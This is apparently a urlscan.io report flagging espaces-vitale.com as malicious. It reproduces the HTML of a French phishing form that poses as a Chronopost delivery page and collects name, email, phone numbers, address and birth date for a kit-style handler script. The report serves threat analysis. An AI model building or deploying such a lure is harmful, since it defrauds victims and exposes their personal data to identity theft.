espaces-vitale.com Open in urlscan Pro
45.139.104.76  Malicious Activity! Public Scan

Form analysis
1 forms found in the DOM

POST ./siftA/A.php

<form action="./siftA/A.php" method="post">
  <input type="hidden" name="captcha">
  <input type="hidden" name="step" value="details">
  <div class="form-row mb-4">
    <div class="col-lg-6 col-md-6 col-sm-12 col-12 mb-lg-0 mb-md-0 mb-sm-4 mb-4">
      <div class="form-group mb-0 ">
        <label for="last_name">Nom complet <span style="color: red;">*</span></label>
        <input type="text" class="form-control" name="last_name" id="last_name" placeholder="Nom complet" value="" required="">
      </div>
    </div>
    <div class="col-lg-6 col-md-6 col-sm-12 col-12">
      <div class="form-group mb-0 ">
        <label for="email">Email <span style="color: red;">*</span></label>
        <input class="form-control" name="email" type="email" value="" placeholder="Votre email" aria-required="true" autocomplete="username" data-original-title="Adresse e-mail" data-toggle="tooltip" data-placement="top" data-mask="int" required="">
      </div>
    </div>
  </div>
  <div class="form-row mb-4">
    <div class="col-lg-6 col-md-6 col-sm-12 col-12 mb-lg-0 mb-md-0 mb-sm-4 mb-4">
      <div class="form-group mb-0 ">
        <label for="Téléphone fixe">Téléphone fixe <span style="color: red;">*</span></label>
        <input class="form-control" maxlength="10 " pattern="^((\+)33|0)[1-9](\d{2}){4}$" name="phonefixe" aria-required="true" type="tel" placeholder="Téléphone fixe" autocomplete="on" id="tel" required="">
      </div>
    </div>
    <div class="col-lg-6 col-md-6 col-sm-12 col-12">
      <div class="form-group mb-0 ">
        <label for="phone">Téléphone mobile<span style="color: red;">*</span></label>
        <input class="form-control" maxlength="10 " pattern="^((\+)33|0)[1-9](\d{2}){4}$" name="phone" aria-required="true" type="tel" placeholder="Téléphone mobile" autocomplete="on" id="tel" required="">
      </div>
    </div>
  </div>
  <div class="form-row mb-4">
    <div class="col-lg-6 col-md-6 col-sm-12 col-12 mb-lg-0 mb-md-0 mb-sm-4 mb-4">
      <div class="form-group mb-0 ">
        <label for="city">Ville <span style="color: red;">*</span></label>
        <input type="text" class="form-control" name="city" id="city" placeholder="Ville" value="" required="">
      </div>
    </div>
    <div class="col-lg-6 col-md-6 col-sm-12 col-12">
      <div class="form-group mb-0 ">
        <label for="zip_code">Code postal <span style="color: red;">*</span></label>
        <input class="form-control" name="zip_code" type="zip_code" pattern="[0-9]{5}" maxlength="5" oninvalid="this.setCustomValidity('Incorrect')" onchange="this.setCustomValidity('')" aria-required="true" autocomplete="off"
          placeholder="Code postal" data-original-title="Votre code postal" data-toggle="tooltip" data-placement="top" data-mask="int" required="">
      </div>
    </div>
  </div>
  <div class="form-row mb-5">
    <div class="col-lg-6 col-md-6 col-sm-12 col-12 mb-lg-0 mb-md-0 mb-sm-4 mb-4">
      <div class="form-group mb-0 ">
        <label for="address">Adresse <span style="color: red;">*</span></label>
        <input type="text" class="form-control" name="address" id="address" placeholder="Adresse" value="" required="">
      </div>
    </div>
    <div class="col-lg-6 col-md-6 col-sm-12 col-12">
      <div class="form-group mb-0 ">
        <label for="birth_date">Date de naissance<span style="color: red;">*</span></label>
        <input type="text" class="form-control" name="birth_date" onkeyup="var v = this.value; if (v.match(/^\d{2}$/) !== null) { this.value = v + '/'; } else if (v.match(/^\d{2}\/\d{2}$/) !== null) { this.value = v + '/'; }" maxlength="10"
          id="birth_date" placeholder="(JJ/MM/AAAA)" value="" required="">
      </div>
    </div>
  </div>
  <div class="text-right">
    <button type="submit">Confirmer</button>
  </div>
  <input type="hidden" name="brand" value="chronopostV0.01">
</form>

Text Content

LIVRAISON À DOMICILE (2,99 EUR)

Veuillez confirmer vos informations de livraison.

Tous les champs marqués par (*) sont obligatoires

Nom complet *
Email *
Téléphone fixe *
Téléphone mobile*
Ville *
Code postal *
Adresse *
Date de naissance*
Confirmer


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